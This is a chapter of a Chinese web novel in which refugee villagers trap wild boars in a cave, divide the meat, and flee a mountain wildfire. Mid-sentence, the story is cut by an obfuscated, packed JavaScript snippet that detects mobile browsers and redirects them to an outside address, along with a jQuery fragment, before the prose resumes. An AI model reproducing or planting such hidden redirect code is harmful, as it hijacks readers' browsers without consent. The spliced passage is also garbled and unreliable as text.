赵启不急不慌,等第一个野猪真冲上来之后,一边回头看,一边慢慢往陷阱的地方跑。
在洞窟边上的王修奉和宁爸都替他捏一把汗。
这会才上来一两只,赵启按照计划蛇皮走位,能应付得过来!
等七只野猪都冲上来的时候,赵启才迈开步子,在洞窟里借着高高的地势来回跑跳,
眼看七只野猪差不多聚在一起朝他冲的时候,赵启拔腿朝陷阱的地方跑。
跑到陷阱的地方,只见他猛地朝旁边一拐,身后追杀而来的野猪来不及刹住猪蹄,跟下饺子似的,扑通扑通往坑里掉。
只有跑在最后面那只野猪刹住了蹄,看着前面几只掉下去,它察觉到不对,哼唧着朝后退。
王修奉哪会让它逃走,坑里的野猪不用管,他喊着其他人,拿着绳子和锄头朝最后一只野猪跑去。
十几个人**一只野猪,一人一锄头都能将它打死,几人不费吹灰之力便把野猪给拿下。
等坑里被扎透的野猪没了气息之后,几人陆续下去小心避开木刺,把野猪绑紧拉上去。
洞窟外头,村民们知道里面一切顺利,各个脸上都是喜色,凌晨打斗的不安被野猪带来的喜悦冲淡。
再怎么说,这野猪算是村里一起发现的,里正多少都会给大家伙分一点肉吃的!
逃荒出来这么久,还是第一次见到这么大的野物!
野猪拉上来之后,王修奉带人深入洞窟,仔仔细细检查一番,发现洞窟除了凹坑里的猪粪有些埋汰之外,洞窟内再没有其它野兽的踪迹。
听说能进去,村民忙不迭地过去占位置。
宁爸拉着赵启跑到他一早看好的一个位置——靠近洞窟边上,前头有块凸起的地方挡着,别人不好靠近这个平地。
怎么看怎么合适。
让赵启站定,宁爸出去赶家里的骡车过来。
洞窟地面不太平稳,村里人拿着农具合力将地上凹凸的土块铲平,凹下去的地方用多出来的土填一填再踩实。
这样他们的车就能通过。
推独轮的先行,他们车轻,不会压坏刚修整好的地。
推架子车和牲畜拉车的走在最后,等他们走过,地上压出长长两条凹下去的坑。
这是车辙印。
没人管这些,他们听见前头人在大声赞着洞里面多凉快多凉快,迫不及待想进去试试。
车停稳后,赵宁宁下车感受了一下,这里虽然闷热,但没有外头那种晒得人要裂开的感觉。
连牲畜都有精神了几分。
坑底里乱糟糟的猪粪刚被清理出去,里正不让牲畜放在最里头,不然洞窟里净是臭味。
宁爸只能把他心爱的骡子和马拴在洞窟口。
这里虽然是洞口,洞窟里面的小凉风嗖嗖刮着,倒也比外头凉快。
安抚好牲畜,又给它们喂半桶水,宁爸这才回到自家马车旁边。
有凸起的石头挡着,车门又朝内,赵宁宁钻到空间里把冰块都掏出来摆在车厢里。
他们家的车厢温度顿时下降起码五度。
赵宁宁从空间出来感受一下,还有一些热,但比起在外头,车厢里的温度顶多只有三十多度。
这个温度是这些天里最舒服的温度了。宁妈倚靠在小桌板边上,紧紧挨着冰盆打扇子。
外头还在闹哄哄地抢地盘。
村民们各自找好落脚的地方,安定下来之后,里正宣布:分猪肉!
今日参与抓野猪的汉子家多分四斤,其余村里人平分!
七头野猪呢!一家怎么也能分到七八斤肉!平日里过年都舍不得割这么多肉,今天可算是有口福了!
年纪小的孩子,好几天都没吃上什么像样东西了,窝在大人怀里听说有肉吃,干巴的嘴里不断冒出口水。
还有的听说有肉吃,直接闹着要吃肉的。
里正让各户出一人出来领肉!
宁爸一点都不嫌累,车厢安顿好之后他便去看人杀猪去了,还抓着赵启陪他一起去,说是培养父子感情。
在这里又没什么娱乐方式,宁妈就随他俩去了。
前头,在坑底的时候野猪就被扎得没气儿了,血也放得差不多。
村里一个帮人杀过猪的汉子站在临时搭建出来的案板上,一群人把猪抬上去,他用一把刚刚才磨过的菜刀,慢慢划开猪肚子,一堆大肠小肠连着内脏一起哗啦掉下来。
联想到凌晨时候看到的那些不人头落地,肠子流一地的场景,有几个汉子脸色一青,躲在后面干呕去了。
剩下的几人,脸上热切也少了几分。
宁爸:呵呵,好天真的村里人,这猪肉他们估计有一段时间没胃口。
看杀猪的汉子少了,打起来时在后头运石头,没看见前面惨状的人凑过来,热热闹闹地围观。
七只野猪分解完,里正按户数和人数来分,野猪不是很肥,一人差不多能分得一斤,宁爸和赵启参与抓野猪,里正给他各自俩多分了四斤,一下子变成了十六斤!
野猪肉柴,赵宁宁家不太好这一口。空间里的猪牛羊鸡鸭鱼都来不及吃呢!
怎么着赵宁宁家都吃不完,宁爸用绳子串了四斤,让赵宁宁和赵启拿去给周家。
赵宁宁:又来了又来了!
赵启:我就是这样越跑越快的!
两个孩子没办法,接下重任,把肉拿去给何氏。
何氏正捧着两斤肉发愁怎么吃,煮了吃有点奢侈,做成肉干又不太够。
赵宁宁和赵启往自家这里扔了四斤肉就跑,何氏无奈收下。
这下,做肉干倒是够了。
等做好肉干,再找机会给他们送一点。何氏这样想着,切出一小块准备待会煮个肉汤,剩下全处理好,切成一条一条腌一下,好烤成肉干。
趁着在洞窟里能休息,家家户户都做起了“杀猪饭”。
能光明正大吃肉,宁妈自是不会放过,趁这会各家都飘着肉香,她把宁爸之前在家做的红烧肉给拿出来,又拿出来平日里不怎么敢吃的,味道稍大的辣子鸡、年糕烧排骨、土豆炖鸡。
光吃肉不行,宁妈又拿出一盆凉拌菜。
最后一人配一块饼子,一人一碗酸辣汤汤,开吃!
外头飘着的肉味再香,也没有车厢里的菜香。
吃完之后,宁妈从空间捧出西瓜,一人再来上一块,简直美得不行。
赵宁宁从空间拿冰过的凉白开出来,几人喝下,又用水擦擦身上的尘土和汗水,这才舒服地躺在车里。
冰块缓缓散发着凉意,不知不觉,宁妈和宁爸就睡着了。
洞窟里平稳地过了两天。
因着有肉吃,天气热容易放坏,各家各户都忙着吃肉和把肉做成肉干。
受伤的村民经过村里赤脚大夫的包扎,安然渡过最危险的前两天。
洞窟比外头凉快,他们的伤口愈合得很好。
只是唯一让大家伙发愁的事是,那处水源好像真的断了。
这两天里正安排人去轮班守着,那泉眼丝毫冒水的意思都没有。
里正想,再等两天,村里人休息得差不多,水还剩一些,他们继续赶路。
早日赶到黄石县,也好早日找个落脚地……只是天上都有九个太阳了,这天下,焉能有落足之地?
要是泉眼不断水,在这里能多休憩一段时日该多好?
里正心念百转。
第三天,水源处依旧没有水。
外面汉子抱怨不停,呆过洞窟之后,谁还想在外头干熬?!
里正缩减值守的时间,让他们太阳出来之后的一个时辰,和太阳即将下山的一个时辰分别去查看一下。
泉眼上面放着一片干枯的树叶,又用桶盖盖着防风。
要是有水,树叶肯定会被顶起来移位。
只可惜,泉眼上的树叶丝毫没有移位的迹象。
里正准备,第四天下午跟村里人说他们要动身前往黄石县的事。
不等他通知,第三日下午申时,天正热着,村里人缩在洞窟里拿扇子打风。
坐在洞窟出口的老头子,扇着扇着,手边忽然飘来了一丝黑絮絮。
落在他胳膊上。
老头抬起手捻捻,黑色絮絮跟家里头烧稻草杆的飞灰差不多,应该是谁家烧火飘过来的。
这几日村里人都想法子弄肉干呢,有烧火烤的有拿出去晒的。
老头不甚在意,继续给自己打扇。
外头突然飘来的黑色絮絮越来越多。
终于,老头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229777|197609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住起来。
“老大,你看外头,是不是这些黑东西都是从外头飘来的?”
被喊起来的人迷迷糊糊往天上看,道一声遭了。
他忙不迭起来,往洞窟里跑。
听说外头漫天飘着东西,王修奉不用他爹说,立马牵着马匹出去查看。
洞窟地势稍低,他牵着马出去往山上去,这一看,给他吓了一大跳。
旁边的山着火了!
远远看去,对面的山通红一片,熊熊燃烧的红光不断吞噬者干枯的植物……天上飘来的黑色絮絮,是地上的枯草被烧焦后的灰!
眨眼之间,那火光不断蔓延,眼看就要连上这边的山。
王修奉马不停蹄地回去将这个噩耗通知给村里人。
“跑!快跑!”里正拍腿,“山火蔓延的速度很快!”
听到外头山上着火的消息,村里人俱是一慌。
各家把东西囫囵着往车上一放,拉车的拉车,牵牲畜的牵牲畜。
小孩不明所以,看到大人慌乱着,坐在地上哇哇大哭。
赵宁宁家。
宁爸听到消息反应极快,立马跑着去拉自家牲畜,路上看到周剑,一把薅起他一起过去。
等两人把自家牲畜牵到车旁边,队伍里乱糟糟一片,往哪跑的都有,就差打起来了。
里正站在洞口指挥,这才慢慢将队伍理顺,要出去的靠边上,没收拾好的在原地收拾。
看到边上能走动起来,宁爸当机立断,拉着骡子往左边走。
艰难挤过人群,贴着左边顺着人流往前走。
马有些受惊,不安地在原地喷着气不肯往前走。
宁爸把骡子的缰绳塞到宁妈手里,跳下车,翻身上马,牢牢拽住缰绳。
躁动的马被人勒着,痛得它扭动几下脖子,发现更痛之后,才渐渐老实下来。
宁爸骑马跟上自家马车。
慌慌张张出了洞窟,前面的人忙不迭地往外跑,连个方向都不看,急得里正直喊:
“往北跑!下了山记得往北跑!”
“跑散的话,咱们在黄石县碰面!”
不知道跑出去的村民有没有听到,但里正能做的都做了,剩下的便听天由命吧!
宁妈驾车,出洞窟之后简单分辨了一下风向,顺着下风向先跑着,等出了这座山,再往火烧不到的地方跑。
车厢内,赵宁宁把能收起来的东西全塞到空间电梯厅里了,只剩被子在身下垫着。
这会逃命,车轮子都要跑飞起来了,赵启被左右上下颠得脸色一阵白一阵青。
赵宁宁看见,抽空回去拿了一个垃圾袋出来塞他手里。
赵启:……
——妹妹好贴心!
下一秒,垃圾袋就派上了用场。
赵宁宁看不得这些,赶紧爬出去跟宁妈一起坐在车头。
“你怎么出来了?这里危险,你回家去。”
宁妈拉着宁宁手腕不敢撒手,小孩体重轻,她怕一撒手赵宁宁直接被架子车颠出去。
“哥哥不太好,他在吐。”赵宁宁无奈。
“你回去让他到车头来,他现在这个情况,分分心就好了。”
赵宁宁听话回车厢去,把吐过一场的哥哥给喊出去。
坐在车头,赵启手里多了一条缰绳。
宁妈就走在一边,“都说晕车的人开车就不晕了,你试试。”
赵启睁大眼,紧张地看着前面的“路”。
一会要从两个极窄的树中间穿过,一会要从一个树根上越过。
一会土坡一会土窑,吓得赵启连晕车都忘记晕了,大脑高速运转着,生怕自己驾不好骡车,把家里人带进沟里。
前头有人在跑,赵启无脑跟着便好,宁妈一边分心看着路和儿子,一边往车后看去。
宁爸骑着马紧紧缀在后面。
他后面,跟着一长串王李村发村民。
大家本是无头苍蝇般地跑,下意识便会跟着前头的人,宁妈不知道最前头领路的是谁,只看着风向和路还行,就让赵启跟着。
一口气跑到山下还不够,队伍一直顺着前两天进山的路跑到了官道上,前面的马车逐渐放缓步调,赵宁宁家的骡车也渐渐停下来。
再回头,身后是看不见天色的灰尘。